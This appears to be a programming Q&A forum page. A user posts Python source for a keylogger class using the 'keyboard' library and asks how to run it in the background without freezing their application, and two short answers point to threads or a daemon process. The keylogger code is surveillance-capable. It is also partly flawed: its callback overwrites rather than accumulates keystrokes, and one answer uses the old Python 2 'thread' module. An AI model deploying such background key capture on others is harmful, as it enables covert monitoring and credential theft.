I'm trying to create a keylogger using the Python keyboard library. Currently I have a start function like this:
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait
keyboard.wait("esc")
self.report()
In my application when I click a button it creates a KeyLogging object and calls this start function. However, when I click the button it freezes my application because this keyboard.wait method blocks the main thread until this keyboard thread finishes executing. Is there a way to not block the main thread and have this work in the background like an actual keylogger? I want to be able to use my application and I'd still like it to exit when "esc" is pressed. Thanks!
Full KeyLogger class:
import keyboard
import os
from datetime import datetime
class KeyLogger:
def __init__(self) -> None:
self.log = ""
self.startTime = datetime.now()
def callback(self, event) -> None:
name = event.name
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
elif len(name) > 1:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log = name
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.startTime)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}"
def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
if os.path.exists("logs/") == False:
os.mkdir("logs/")
with open(f"logs/{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[ ] Saved {self.filename}.txt")
def report(self):
if self.log:
self.update_filename()
self.report_to_file()
self.startTime = datetime.now()
self.log = ""
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait
keyboard.wait("esc")
self.report()
def stop(self):
keyboard.press("esc")
CodePudding user response:
You can simply use "Thread".
Step 1: import "Thread" library
import thread
Step 2: Define a function for the thread
some function that each time user presses a key, will generate that Keylogger object
Step 3: Create as many threads as user click
thread.start_new_thread( functionName, (parameter1, parameter2, ...) )
Also, you can treat classes to extend Thread class.
Use this link to learn more about it: Multi Threading in Python
CodePudding user response:
You are asking for a daemon
process that will run in the background and listening to keystrokes.
See this post